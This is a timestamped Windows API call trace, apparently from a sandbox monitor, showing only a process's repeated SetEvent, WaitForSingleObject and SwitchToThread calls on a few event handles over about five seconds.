	[0077.537] SetEvent (hEvent=0xb4) returned 1
	[0077.537] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.565] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.584] SetEvent (hEvent=0x6c) returned 1
	[0077.584] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.589] SetEvent (hEvent=0x6c) returned 1
	[0077.589] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.590] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.593] SetEvent (hEvent=0x6c) returned 1
	[0077.593] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.593] SetEvent (hEvent=0x80) returned 1
	[0077.594] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.631] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.640] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.656] SetEvent (hEvent=0x6c) returned 1
	[0077.656] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.657] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.660] SetEvent (hEvent=0x6c) returned 1
	[0077.660] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.661] SetEvent (hEvent=0xb4) returned 1
	[0077.661] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.687] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.708] SetEvent (hEvent=0x6c) returned 1
	[0077.708] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.713] SetEvent (hEvent=0x6c) returned 1
	[0077.713] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.713] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.716] SetEvent (hEvent=0x6c) returned 1
	[0077.716] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.717] SetEvent (hEvent=0x80) returned 1
	[0077.717] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.745] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.745] SetEvent (hEvent=0x80) returned 1
	[0077.745] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.746] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.013] SetEvent (hEvent=0xb4) returned 1
	[0080.013] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.013] SetEvent (hEvent=0xb4) returned 1
	[0080.013] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.020] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.039] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.061] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.069] SetEvent (hEvent=0x6c) returned 1
	[0080.069] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.069] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.099] SetEvent (hEvent=0x6c) returned 1
	[0080.099] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.100] SetEvent (hEvent=0x6c) returned 1
	[0080.101] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.101] SetEvent (hEvent=0x6c) returned 1
	[0080.101] SwitchToThread () returned 1
	[0080.101] SetEvent (hEvent=0x6c) returned 1
	[0080.101] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.102] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.146] SetEvent (hEvent=0x6c) returned 1
	[0080.146] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.148] SetEvent (hEvent=0xb4) returned 1
	[0080.148] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.171] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.174] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.194] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.201] SetEvent (hEvent=0x6c) returned 1
	[0080.201] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.202] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.228] SetEvent (hEvent=0x6c) returned 1
	[0080.228] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.229] SetEvent (hEvent=0x6c) returned 1
	[0080.229] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.230] SetEvent (hEvent=0x6c) returned 1
	[0080.230] SwitchToThread () returned 1
	[0080.230] SetEvent (hEvent=0x6c) returned 1
	[0080.230] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.230] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.262] SetEvent (hEvent=0x6c) returned 1
	[0080.262] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.264] SetEvent (hEvent=0xb4) returned 1
	[0080.264] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.286] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.289] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.328] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.339] SetEvent (hEvent=0x6c) returned 1
	[0080.339] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.339] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.367] SetEvent (hEvent=0x6c) returned 1
	[0080.367] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.369] SetEvent (hEvent=0x6c) returned 1
	[0080.369] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.369] SetEvent (hEvent=0x6c) returned 1
	[0080.369] SwitchToThread () returned 1
	[0080.370] SetEvent (hEvent=0x6c) returned 1
	[0080.370] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.370] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.403] SetEvent (hEvent=0x6c) returned 1
	[0080.403] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.404] SetEvent (hEvent=0xb4) returned 1
	[0080.405] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.429] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.432] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.455] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.461] SetEvent (hEvent=0x6c) returned 1
	[0080.461] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.461] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.486] SetEvent (hEvent=0x6c) returned 1
	[0080.486] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.487] SetEvent (hEvent=0x6c) returned 1
	[0080.487] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.488] SetEvent (hEvent=0x6c) returned 1
	[0080.488] SwitchToThread () returned 1
	[0080.488] SetEvent (hEvent=0x6c) returned 1
	[0080.488] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.488] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.518] SetEvent (hEvent=0x6c) returned 1
	[0080.519] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.520] SetEvent (hEvent=0xb4) returned 1
	[0080.520] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.610] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.617] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.641] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.652] SetEvent (hEvent=0xb4) returned 1
	[0080.653] SetEvent (hEvent=0x78) returned 1
	[0080.653] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0080.657] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.657] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x0
	[0080.657] SetEvent (hEvent=0xb4) returned 1
	[0080.657] SetEvent (hEvent=0x78) returned 1
	[0080.657] SetEvent (hEvent=0x80) returned 1
	[0080.657] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.658] SetEvent (hEvent=0xa8) returned 1
	[0080.658] SetEvent (hEvent=0x80) returned 1
	[0080.658] SetEvent (hEvent=0x6c) returned 1
	[0080.658] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.676] SetEvent (hEvent=0x6c) returned 1
	[0080.676] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.681] SetEvent (hEvent=0x6c) returned 1
	[0080.681] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.681] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.684] SetEvent (hEvent=0x6c) returned 1
	[0080.684] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.685] SetEvent (hEvent=0x80) returned 1
	[0080.685] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.729] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.748] SetEvent (hEvent=0x6c) returned 1
	[0080.748] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.753] SetEvent (hEvent=0x6c) returned 1
	[0080.753] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.753] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.756] SetEvent (hEvent=0x6c) returned 1
	[0080.756] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.757] SetEvent (hEvent=0x78) returned 1
	[0080.757] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.783] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.802] SetEvent (hEvent=0x6c) returned 1
	[0080.802] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.807] SetEvent (hEvent=0x6c) returned 1
	[0080.807] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.807] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.810] SetEvent (hEvent=0x6c) returned 1
	[0080.810] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.811] SetEvent (hEvent=0x80) returned 1
	[0080.811] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.839] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.859] SetEvent (hEvent=0x6c) returned 1
	[0080.859] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.863] SetEvent (hEvent=0x6c) returned 1
	[0080.864] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.864] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.867] SetEvent (hEvent=0x6c) returned 1
	[0080.867] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.868] SetEvent (hEvent=0x78) returned 1
	[0080.868] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.909] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.928] SetEvent (hEvent=0x6c) returned 1
	[0080.928] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.933] SetEvent (hEvent=0x6c) returned 1
	[0080.933] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.933] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.936] SetEvent (hEvent=0x6c) returned 1
	[0080.936] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.937] SetEvent (hEvent=0x80) returned 1
	[0080.937] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.963] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.982] SetEvent (hEvent=0x6c) returned 1
	[0080.982] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.987] SetEvent (hEvent=0x6c) returned 1
	[0080.987] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.987] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.990] SetEvent (hEvent=0x6c) returned 1
	[0080.991] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.992] SetEvent (hEvent=0x78) returned 1
	[0080.992] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.025] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.044] SetEvent (hEvent=0x6c) returned 1
	[0081.044] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.049] SetEvent (hEvent=0x6c) returned 1
	[0081.049] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.049] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.052] SetEvent (hEvent=0x6c) returned 1
	[0081.052] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.053] SetEvent (hEvent=0x80) returned 1
	[0081.053] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.080] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.090] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.105] SetEvent (hEvent=0x6c) returned 1
	[0081.105] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.106] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.109] SetEvent (hEvent=0x6c) returned 1
	[0081.109] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.111] SetEvent (hEvent=0x78) returned 1
	[0081.111] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.160] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.181] SetEvent (hEvent=0x6c) returned 1
	[0081.181] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.186] SetEvent (hEvent=0x6c) returned 1
	[0081.186] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.187] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.190] SetEvent (hEvent=0x6c) returned 1
	[0081.190] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.191] SetEvent (hEvent=0x80) returned 1
	[0081.191] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.219] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.239] SetEvent (hEvent=0x6c) returned 1
	[0081.239] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.244] SetEvent (hEvent=0x6c) returned 1
	[0081.244] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.244] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.247] SetEvent (hEvent=0x6c) returned 1
	[0081.247] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.248] SetEvent (hEvent=0x78) returned 1
	[0081.248] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.280] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.299] SetEvent (hEvent=0x6c) returned 1
	[0081.299] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.304] SetEvent (hEvent=0x6c) returned 1
	[0081.304] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.304] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.307] SetEvent (hEvent=0x6c) returned 1
	[0081.307] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.308] SetEvent (hEvent=0x80) returned 1
	[0081.308] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.355] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.377] SetEvent (hEvent=0x6c) returned 1
	[0081.378] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.382] SetEvent (hEvent=0x6c) returned 1
	[0081.382] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.383] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.386] SetEvent (hEvent=0x6c) returned 1
	[0081.386] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.386] SetEvent (hEvent=0x78) returned 1
	[0081.386] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.415] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.433] SetEvent (hEvent=0x6c) returned 1
	[0081.434] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.438] SetEvent (hEvent=0x6c) returned 1
	[0081.438] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.439] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.442] SetEvent (hEvent=0x6c) returned 1
	[0081.442] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.443] SetEvent (hEvent=0x80) returned 1
	[0081.443] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.473] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.492] SetEvent (hEvent=0x6c) returned 1
	[0081.492] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.497] SetEvent (hEvent=0x6c) returned 1
	[0081.497] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.497] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.500] SetEvent (hEvent=0x6c) returned 1
	[0081.500] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.501] SetEvent (hEvent=0x78) returned 1
	[0081.501] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.533] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.550] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.557] SetEvent (hEvent=0x6c) returned 1
	[0081.557] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.557] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.561] SetEvent (hEvent=0x6c) returned 1
	[0081.561] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.562] SetEvent (hEvent=0x80) returned 1
	[0081.562] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.600] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.622] SetEvent (hEvent=0x6c) returned 1
	[0081.622] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.627] SetEvent (hEvent=0x6c) returned 1
	[0081.627] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.627] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.630] SetEvent (hEvent=0x6c) returned 1
	[0081.631] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.632] SetEvent (hEvent=0x78) returned 1
	[0081.632] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.661] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.681] SetEvent (hEvent=0x6c) returned 1
	[0081.681] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.686] SetEvent (hEvent=0x6c) returned 1
	[0081.686] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.686] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.689] SetEvent (hEvent=0x6c) returned 1
	[0081.689] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.690] SetEvent (hEvent=0x80) returned 1
	[0081.690] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.720] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.740] SetEvent (hEvent=0x6c) returned 1
	[0081.740] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.745] SetEvent (hEvent=0x6c) returned 1
	[0081.745] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.745] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.748] SetEvent (hEvent=0x6c) returned 1
	[0081.748] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.749] SetEvent (hEvent=0x78) returned 1
	[0081.749] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.776] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.795] SetEvent (hEvent=0x6c) returned 1
	[0081.795] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.800] SetEvent (hEvent=0x6c) returned 1
	[0081.800] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.800] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.803] SetEvent (hEvent=0x6c) returned 1
	[0081.803] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.804] SetEvent (hEvent=0x80) returned 1
	[0081.804] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.830] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.849] SetEvent (hEvent=0x6c) returned 1
	[0081.849] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.854] SetEvent (hEvent=0x6c) returned 1
	[0081.854] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.855] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.858] SetEvent (hEvent=0x6c) returned 1
	[0081.858] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.859] SetEvent (hEvent=0x78) returned 1
	[0081.859] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.891] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.911] SetEvent (hEvent=0x6c) returned 1
	[0081.911] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.916] SetEvent (hEvent=0x6c) returned 1
	[0081.916] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.916] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.919] SetEvent (hEvent=0x6c) returned 1
	[0081.919] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.920] SetEvent (hEvent=0x80) returned 1
	[0081.920] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.949] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.968] SetEvent (hEvent=0x6c) returned 1
	[0081.968] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.973] SetEvent (hEvent=0x6c) returned 1
	[0081.973] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.973] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.976] SetEvent (hEvent=0x6c) returned 1
	[0081.976] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.977] SetEvent (hEvent=0x78) returned 1
	[0081.977] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.007] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.026] SetEvent (hEvent=0x6c) returned 1
	[0082.026] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.032] SetEvent (hEvent=0x6c) returned 1
	[0082.032] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.032] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.035] SetEvent (hEvent=0x6c) returned 1
	[0082.035] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.036] SetEvent (hEvent=0x80) returned 1
	[0082.036] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.065] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.084] SetEvent (hEvent=0x6c) returned 1
	[0082.085] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.089] SetEvent (hEvent=0x6c) returned 1
	[0082.089] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.090] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.093] SetEvent (hEvent=0x6c) returned 1
	[0082.093] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
